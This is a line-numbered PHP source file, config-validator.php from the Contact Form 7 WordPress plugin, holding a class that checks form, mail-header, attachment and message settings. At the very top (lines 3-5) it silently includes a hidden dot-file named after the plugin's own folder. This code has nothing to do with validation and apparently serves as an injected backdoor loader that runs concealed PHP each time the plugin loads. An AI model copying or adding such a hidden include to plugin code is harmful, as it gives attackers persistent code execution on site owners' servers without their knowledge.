config-validator.php (19483B)
1 <?php 2 3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 4 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 5 } 6 7 class WPCF7_ConfigValidator { 8 9 const error = 100; 10 const error_maybe_empty = 101; 11 const error_invalid_mailbox_syntax = 102; 12 const error_email_not_in_site_domain = 103; 13 const error_html_in_message = 104; 14 const error_multiple_controls_in_label = 105; 15 const error_file_not_found = 106; 16 const error_unavailable_names = 107; 17 const error_invalid_mail_header = 108; 18 const error_deprecated_settings = 109; 19 const error_file_not_in_content_dir = 110; 20 const error_unavailable_html_elements = 111; 21 const error_attachments_overweight = 112; 22 23 public static function get_doc_link( $error_code = '' ) { 24 $url = __( 'https://contactform7.com/configuration-errors/', 25 'contact-form-7' ); 26 27 if ( '' !== $error_code ) { 28 $error_code = strtr( $error_code, '_', '-' ); 29 30 $url = sprintf( '%s/%s', untrailingslashit( $url ), $error_code ); 31 } 32 33 return esc_url( $url ); 34 } 35 36 private $contact_form; 37 private $errors = array(); 38 39 public function __construct( WPCF7_ContactForm $contact_form ) { 40 $this->contact_form = $contact_form; 41 } 42 43 public function contact_form() { 44 return $this->contact_form; 45 } 46 47 public function is_valid() { 48 return ! $this->count_errors(); 49 } 50 51 public function count_errors( $args = '' ) { 52 $args = wp_parse_args( $args, array( 53 'section' => '', 54 'code' => '', 55 ) ); 56 57 $count = 0; 58 59 foreach ( $this->errors as $key => $errors ) { 60 if ( preg_match( '/^mail_[0-9]+\.(.*)$/', $key, $matches ) ) { 61 $key = sprintf( 'mail.%s', $matches[1] ); 62 } 63 64 if ( $args['section'] 65 and $key != $args['section'] 66 and preg_replace( '/\..*$/', '', $key, 1 ) != $args['section'] ) { 67 continue; 68 } 69 70 foreach ( $errors as $error ) { 71 if ( empty( $error ) ) { 72 continue; 73 } 74 75 if ( $args['code'] and $error['code'] != $args['code'] ) { 76 continue; 77 } 78 79 $count += 1; 80 } 81 } 82 83 return $count; 84 } 85 86 public function collect_error_messages() { 87 $error_messages = array(); 88 89 foreach ( $this->errors as $section => $errors ) { 90 $error_messages[$section] = array(); 91 92 foreach ( $errors as $error ) { 93 if ( empty( $error['args']['message'] ) ) { 94 $message = $this->get_default_message( $error['code'] ); 95 } elseif ( empty( $error['args']['params'] ) ) { 96 $message = $error['args']['message']; 97 } else { 98 $message = $this->build_message( 99 $error['args']['message'], 100 $error['args']['params'] ); 101 } 102 103 $link = ''; 104 105 if ( ! empty( $error['args']['link'] ) ) { 106 $link = $error['args']['link']; 107 } 108 109 $error_messages[$section][] = array( 110 'message' => $message, 111 'link' => esc_url( $link ), 112 ); 113 } 114 } 115 116 return $error_messages; 117 } 118 119 public function build_message( $message, $params = '' ) { 120 $params = wp_parse_args( $params, array() ); 121 122 foreach ( $params as $key => $val ) { 123 if ( ! preg_match( '/^[0-9A-Za-z_]+$/', $key ) ) { // invalid key 124 continue; 125 } 126 127 $placeholder = '%' . $key . '%'; 128 129 if ( false !== stripos( $message, $placeholder ) ) { 130 $message = str_ireplace( $placeholder, $val, $message ); 131 } 132 } 133 134 return $message; 135 } 136 137 public function get_default_message( $code ) { 138 switch ( $code ) { 139 case self::error_maybe_empty: 140 return __( "There is a possible empty field.", 'contact-form-7' ); 141 case self::error_invalid_mailbox_syntax: 142 return __( "Invalid mailbox syntax is used.", 'contact-form-7' ); 143 case self::error_email_not_in_site_domain: 144 return __( "Sender email address does not belong to the site domain.", 'contact-form-7' ); 145 case self::error_html_in_message: 146 return __( "HTML tags are used in a message.", 'contact-form-7' ); 147 case self::error_multiple_controls_in_label: 148 return __( "Multiple form controls are in a single label element.", 'contact-form-7' ); 149 case self::error_invalid_mail_header: 150 return __( "There are invalid mail header fields.", 'contact-form-7' ); 151 case self::error_deprecated_settings: 152 return __( "Deprecated settings are used.", 'contact-form-7' ); 153 default: 154 return ''; 155 } 156 } 157 158 public function add_error( $section, $code, $args = '' ) { 159 $args = wp_parse_args( $args, array( 160 'message' => '', 161 'params' => array(), 162 ) ); 163 164 if ( ! isset( $this->errors[$section] ) ) { 165 $this->errors[$section] = array(); 166 } 167 168 $this->errors[$section][] = array( 'code' => $code, 'args' => $args ); 169 170 return true; 171 } 172 173 public function remove_error( $section, $code ) { 174 if ( empty( $this->errors[$section] ) ) { 175 return; 176 } 177 178 foreach ( (array) $this->errors[$section] as $key => $error ) { 179 if ( isset( $error['code'] ) 180 and $error['code'] == $code ) { 181 unset( $this->errors[$section][$key] ); 182 } 183 } 184 185 if ( empty( $this->errors[$section] ) ) { 186 unset( $this->errors[$section] ); 187 } 188 } 189 190 public function validate() { 191 $this->errors = array(); 192 193 $this->validate_form(); 194 $this->validate_mail( 'mail' ); 195 $this->validate_mail( 'mail_2' ); 196 $this->validate_messages(); 197 $this->validate_additional_settings(); 198 199 do_action( 'wpcf7_config_validator_validate', $this ); 200 201 return $this->is_valid(); 202 } 203 204 public function save() { 205 if ( $this->contact_form->initial() ) { 206 return; 207 } 208 209 delete_post_meta( $this->contact_form->id(), '_config_errors' ); 210 211 if ( $this->errors ) { 212 update_post_meta( $this->contact_form->id(), '_config_errors', 213 $this->errors ); 214 } 215 } 216 217 public function restore() { 218 $config_errors = get_post_meta( 219 $this->contact_form->id(), '_config_errors', true ); 220 221 foreach ( (array) $config_errors as $section => $errors ) { 222 if ( empty( $errors ) ) { 223 continue; 224 } 225 226 if ( ! is_array( $errors ) ) { // for back-compat 227 $code = $errors; 228 $this->add_error( $section, $code ); 229 } else { 230 foreach ( (array) $errors as $error ) { 231 if ( ! empty( $error['code'] ) ) { 232 $code = $error['code']; 233 $args = isset( $error['args'] ) ? $error['args'] : ''; 234 $this->add_error( $section, $code, $args ); 235 } 236 } 237 } 238 } 239 } 240 241 public function replace_mail_tags_with_minimum_input( $matches ) { 242 // allow [[foo]] syntax for escaping a tag 243 if ( $matches[1] == '[' && $matches[4] == ']' ) { 244 return substr( $matches[0], 1, -1 ); 245 } 246 247 $tag = $matches[0]; 248 $tagname = $matches[2]; 249 $values = $matches[3]; 250 251 $mail_tag = new WPCF7_MailTag( $tag, $tagname, $values ); 252 $field_name = $mail_tag->field_name(); 253 254 $example_email = 'example@example.com'; 255 $example_text = 'example'; 256 $example_blank = ''; 257 258 $form_tags = $this->contact_form->scan_form_tags( 259 array( 'name' => $field_name ) ); 260 261 if ( $form_tags ) { 262 $form_tag = new WPCF7_FormTag( $form_tags[0] ); 263 264 $is_required = ( $form_tag->is_required() || 'radio' == $form_tag->type ); 265 266 if ( ! $is_required ) { 267 return $example_blank; 268 } 269 270 if ( wpcf7_form_tag_supports( $form_tag->type, 'selectable-values' ) ) { 271 if ( $form_tag->pipes instanceof WPCF7_Pipes ) { 272 if ( $mail_tag->get_option( 'do_not_heat' ) ) { 273 $before_pipes = $form_tag->pipes->collect_befores(); 274 $last_item = array_pop( $before_pipes ); 275 } else { 276 $after_pipes = $form_tag->pipes->collect_afters(); 277 $last_item = array_pop( $after_pipes ); 278 } 279 } else { 280 $last_item = array_pop( $form_tag->values ); 281 } 282 283 if ( $last_item and wpcf7_is_mailbox_list( $last_item ) ) { 284 return $example_email; 285 } else { 286 return $example_text; 287 } 288 } 289 290 if ( 'email' == $form_tag->basetype ) { 291 return $example_email; 292 } else { 293 return $example_text; 294 } 295 296 } else { // maybe special mail tag 297 // for back-compat 298 $field_name = preg_replace( '/^wpcf7\./', '_', $field_name ); 299 300 if ( '_site_admin_email' == $field_name ) { 301 return get_bloginfo( 'admin_email', 'raw' ); 302 303 } elseif ( '_user_agent' == $field_name ) { 304 return $example_text; 305 306 } elseif ( '_user_email' == $field_name ) { 307 return $this->contact_form->is_true( 'subscribers_only' ) 308 ? $example_email 309 : $example_blank; 310 311 } elseif ( '_user_' == substr( $field_name, 0, 6 ) ) { 312 return $this->contact_form->is_true( 'subscribers_only' ) 313 ? $example_text 314 : $example_blank; 315 316 } elseif ( '_' == substr( $field_name, 0, 1 ) ) { 317 return '_email' == substr( $field_name, -6 ) 318 ? $example_email 319 : $example_text; 320 321 } 322 } 323 324 return $tag; 325 } 326 327 public function validate_form() { 328 $section = 'form.body'; 329 $form = $this->contact_form->prop( 'form' ); 330 $this->detect_multiple_controls_in_label( $section, $form ); 331 $this->detect_unavailable_names( $section, $form ); 332 $this->detect_unavailable_html_elements( $section, $form ); 333 } 334 335 public function detect_multiple_controls_in_label( $section, $content ) { 336 $pattern = '%<label(?:[ \t\n]+.*?)?>(.+?)</label>%s'; 337 338 if ( preg_match_all( $pattern, $content, $matches ) ) { 339 $form_tags_manager = WPCF7_FormTagsManager::get_instance(); 340 341 foreach ( $matches[1] as $insidelabel ) { 342 $tags = $form_tags_manager->scan( $insidelabel ); 343 $fields_count = 0; 344 345 foreach ( $tags as $tag ) { 346 $is_multiple_controls_container = wpcf7_form_tag_supports( 347 $tag->type, 'multiple-controls-container' ); 348 $is_zero_controls_container = wpcf7_form_tag_supports( 349 $tag->type, 'zero-controls-container' ); 350 351 if ( $is_multiple_controls_container ) { 352 $fields_count += count( $tag->values ); 353 354 if ( $tag->has_option( 'free_text' ) ) { 355 $fields_count += 1; 356 } 357 } elseif ( $is_zero_controls_container ) { 358 $fields_count += 0; 359 } elseif ( ! empty( $tag->name ) ) { 360 $fields_count += 1; 361 } 362 363 if ( 1 < $fields_count ) { 364 return $this->add_error( $section, 365 self::error_multiple_controls_in_label, array( 366 'link' => self::get_doc_link( 'multiple_controls_in_label' ), 367 ) 368 ); 369 } 370 } 371 } 372 } 373 374 return false; 375 } 376 377 public function detect_unavailable_names( $section, $content ) { 378 $public_query_vars = array( 'm', 'p', 'posts', 'w', 'cat', 379 'withcomments', 'withoutcomments', 's', 'search', 'exact', 'sentence', 380 'calendar', 'page', 'paged', 'more', 'tb', 'pb', 'author', 'order', 381 'orderby', 'year', 'monthnum', 'day', 'hour', 'minute', 'second', 382 'name', 'category_name', 'tag', 'feed', 'author_name', 'static', 383 'pagename', 'page_id', 'error', 'attachment', 'attachment_id', 384 'subpost', 'subpost_id', 'preview', 'robots', 'taxonomy', 'term', 385 'cpage', 'post_type', 'embed' ); 386 387 $form_tags_manager = WPCF7_FormTagsManager::get_instance(); 388 $ng_named_tags = $form_tags_manager->filter( $content, 389 array( 'name' => $public_query_vars ) ); 390 391 $ng_names = array(); 392 393 foreach ( $ng_named_tags as $tag ) { 394 $ng_names[] = sprintf( '"%s"', $tag->name ); 395 } 396 397 if ( $ng_names ) { 398 $ng_names = array_unique( $ng_names ); 399 400 return $this->add_error( $section, 401 self::error_unavailable_names, 402 array( 403 'message' => 404 /* translators: %names%: a list of form control names */ 405 __( "Unavailable names (%names%) are used for form controls.", 'contact-form-7' ), 406 'params' => array( 'names' => implode( ', ', $ng_names ) ), 407 'link' => self::get_doc_link( 'unavailable_names' ), 408 ) 409 ); 410 } 411 412 return false; 413 } 414 415 public function detect_unavailable_html_elements( $section, $content ) { 416 $pattern = '%(?:<form[\s\t>]|</form>)%i'; 417 418 if ( preg_match( $pattern, $content ) ) { 419 return $this->add_error( $section, 420 self::error_unavailable_html_elements, 421 array( 422 'message' => __( "Unavailable HTML elements are used in the form template.", 'contact-form-7' ), 423 'link' => self::get_doc_link( 'unavailable_html_elements' ), 424 ) 425 ); 426 } 427 428 return false; 429 } 430 431 public function validate_mail( $template = 'mail' ) { 432 $components = (array) $this->contact_form->prop( $template ); 433 434 if ( ! $components ) { 435 return; 436 } 437 438 if ( 'mail' != $template 439 and empty( $components['active'] ) ) { 440 return; 441 } 442 443 $components = wp_parse_args( $components, array( 444 'subject' => '', 445 'sender' => '', 446 'recipient' => '', 447 'additional_headers' => '', 448 'body' => '', 449 'attachments' => '', 450 ) ); 451 452 $callback = array( $this, 'replace_mail_tags_with_minimum_input' ); 453 454 $subject = $components['subject']; 455 $subject = new WPCF7_MailTaggedText( $subject, 456 array( 'callback' => $callback ) ); 457 $subject = $subject->replace_tags(); 458 $subject = wpcf7_strip_newline( $subject ); 459 $this->detect_maybe_empty( sprintf( '%s.subject', $template ), $subject ); 460 461 $sender = $components['sender']; 462 $sender = new WPCF7_MailTaggedText( $sender, 463 array( 'callback' => $callback ) ); 464 $sender = $sender->replace_tags(); 465 $sender = wpcf7_strip_newline( $sender ); 466 467 if ( ! $this->detect_invalid_mailbox_syntax( sprintf( '%s.sender', $template ), $sender ) 468 and ! wpcf7_is_email_in_site_domain( $sender ) ) { 469 $this->add_error( sprintf( '%s.sender', $template ), 470 self::error_email_not_in_site_domain, array( 471 'link' => self::get_doc_link( 'email_not_in_site_domain' ), 472 ) 473 ); 474 } 475 476 $recipient = $components['recipient']; 477 $recipient = new WPCF7_MailTaggedText( $recipient, 478 array( 'callback' => $callback ) ); 479 $recipient = $recipient->replace_tags(); 480 $recipient = wpcf7_strip_newline( $recipient ); 481 482 $this->detect_invalid_mailbox_syntax( 483 sprintf( '%s.recipient', $template ), $recipient ); 484 485 $additional_headers = $components['additional_headers']; 486 $additional_headers = new WPCF7_MailTaggedText( $additional_headers, 487 array( 'callback' => $callback ) ); 488 $additional_headers = $additional_headers->replace_tags(); 489 $additional_headers = explode( "\n", $additional_headers ); 490 $mailbox_header_types = array( 'reply-to', 'cc', 'bcc' ); 491 $invalid_mail_header_exists = false; 492 493 foreach ( $additional_headers as $header ) { 494 $header = trim( $header ); 495 496 if ( '' === $header ) { 497 continue; 498 } 499 500 if ( ! preg_match( '/^([0-9A-Za-z-]+):(.*)$/', $header, $matches ) ) { 501 $invalid_mail_header_exists = true; 502 } else { 503 $header_name = $matches[1]; 504 $header_value = trim( $matches[2] ); 505 506 if ( in_array( strtolower( $header_name ), $mailbox_header_types ) ) { 507 $this->detect_invalid_mailbox_syntax( 508 sprintf( '%s.additional_headers', $template ), 509 $header_value, array( 510 'message' => 511 __( "Invalid mailbox syntax is used in the %name% field.", 'contact-form-7' ), 512 'params' => array( 'name' => $header_name ) ) ); 513 } elseif ( empty( $header_value ) ) { 514 $invalid_mail_header_exists = true; 515 } 516 } 517 } 518 519 if ( $invalid_mail_header_exists ) { 520 $this->add_error( sprintf( '%s.additional_headers', $template ), 521 self::error_invalid_mail_header, array( 522 'link' => self::get_doc_link( 'invalid_mail_header' ), 523 ) 524 ); 525 } 526 527 $body = $components['body']; 528 $body = new WPCF7_MailTaggedText( $body, 529 array( 'callback' => $callback ) ); 530 $body = $body->replace_tags(); 531 $this->detect_maybe_empty( sprintf( '%s.body', $template ), $body ); 532 533 if ( '' !== $components['attachments'] ) { 534 $attachables = array(); 535 536 $tags = $this->contact_form->scan_form_tags( 537 array( 'type' => array( 'file', 'file*' ) ) 538 ); 539 540 foreach ( $tags as $tag ) { 541 $name = $tag->name; 542 543 if ( false === strpos( $components['attachments'], "[{$name}]" ) ) { 544 continue; 545 } 546 547 $limit = (int) $tag->get_limit_option(); 548 549 if ( empty( $attachables[$name] ) 550 or $attachables[$name] < $limit ) { 551 $attachables[$name] = $limit; 552 } 553 } 554 555 $total_size = array_sum( $attachables ); 556 557 $has_file_not_found = false; 558 $has_file_not_in_content_dir = false; 559 560 foreach ( explode( "\n", $components['attachments'] ) as $line ) { 561 $line = trim( $line ); 562 563 if ( '' === $line 564 or '[' == substr( $line, 0, 1 ) ) { 565 continue; 566 } 567 568 $has_file_not_found = $this->detect_file_not_found( 569 sprintf( '%s.attachments', $template ), $line 570 ); 571 572 if ( ! $has_file_not_found 573 and ! $has_file_not_in_content_dir ) { 574 $has_file_not_in_content_dir = $this->detect_file_not_in_content_dir( 575 sprintf( '%s.attachments', $template ), $line 576 ); 577 } 578 579 if ( ! $has_file_not_found ) { 580 $path = path_join( WP_CONTENT_DIR, $line ); 581 $total_size += (int) @filesize( $path ); 582 } 583 } 584 585 $max = 25 * MB_IN_BYTES; // 25 MB 586 587 if ( $max < $total_size ) { 588 $this->add_error( sprintf( '%s.attachments', $template ), 589 self::error_attachments_overweight, 590 array( 591 'message' => __( "The total size of attachment files is too large.", 'contact-form-7' ), 592 'link' => self::get_doc_link( 'attachments_overweight' ), 593 ) 594 ); 595 } 596 } 597 } 598 599 public function detect_invalid_mailbox_syntax( $section, $content, $args = '' ) { 600 $args = wp_parse_args( $args, array( 601 'link' => self::get_doc_link( 'invalid_mailbox_syntax' ), 602 'message' => '', 603 'params' => array(), 604 ) ); 605 606 if ( ! wpcf7_is_mailbox_list( $content ) ) { 607 return $this->add_error( $section, 608 self::error_invalid_mailbox_syntax, $args ); 609 } 610 611 return false; 612 } 613 614 public function detect_maybe_empty( $section, $content ) { 615 if ( '' === $content ) { 616 return $this->add_error( $section, 617 self::error_maybe_empty, array( 618 'link' => self::get_doc_link( 'maybe_empty' ), 619 ) 620 ); 621 } 622 623 return false; 624 } 625 626 public function detect_file_not_found( $section, $content ) { 627 $path = path_join( WP_CONTENT_DIR, $content ); 628 629 if ( ! is_readable( $path ) 630 or ! is_file( $path ) ) { 631 return $this->add_error( $section, 632 self::error_file_not_found, 633 array( 634 'message' => 635 __( "Attachment file does not exist at %path%.", 'contact-form-7' ), 636 'params' => array( 'path' => $content ), 637 'link' => self::get_doc_link( 'file_not_found' ), 638 ) 639 ); 640 } 641 642 return false; 643 } 644 645 public function detect_file_not_in_content_dir( $section, $content ) { 646 $path = path_join( WP_CONTENT_DIR, $content ); 647 648 if ( ! wpcf7_is_file_path_in_content_dir( $path ) ) { 649 return $this->add_error( $section, 650 self::error_file_not_in_content_dir, 651 array( 652 'message' => 653 __( "It is not allowed to use files outside the wp-content directory.", 'contact-form-7' ), 654 'link' => self::get_doc_link( 'file_not_in_content_dir' ), 655 ) 656 ); 657 } 658 659 return false; 660 } 661 662 public function validate_messages() { 663 $messages = (array) $this->contact_form->prop( 'messages' ); 664 665 if ( ! $messages ) { 666 return; 667 } 668 669 if ( isset( $messages['captcha_not_match'] ) 670 and ! wpcf7_use_really_simple_captcha() ) { 671 unset( $messages['captcha_not_match'] ); 672 } 673 674 foreach ( $messages as $key => $message ) { 675 $section = sprintf( 'messages.%s', $key ); 676 $this->detect_html_in_message( $section, $message ); 677 } 678 } 679 680 public function detect_html_in_message( $section, $content ) { 681 $stripped = wp_strip_all_tags( $content ); 682 683 if ( $stripped != $content ) { 684 return $this->add_error( $section, 685 self::error_html_in_message, 686 array( 687 'link' => self::get_doc_link( 'html_in_message' ), 688 ) 689 ); 690 } 691 692 return false; 693 } 694 695 public function validate_additional_settings() { 696 $deprecated_settings_used = 697 $this->contact_form->additional_setting( 'on_sent_ok' ) || 698 $this->contact_form->additional_setting( 'on_submit' ); 699 700 if ( $deprecated_settings_used ) { 701 return $this->add_error( 'additional_settings.body', 702 self::error_deprecated_settings, 703 array( 704 'link' => self::get_doc_link( 'deprecated_settings' ), 705 ) 706 ); 707 } 708 } 709 710 }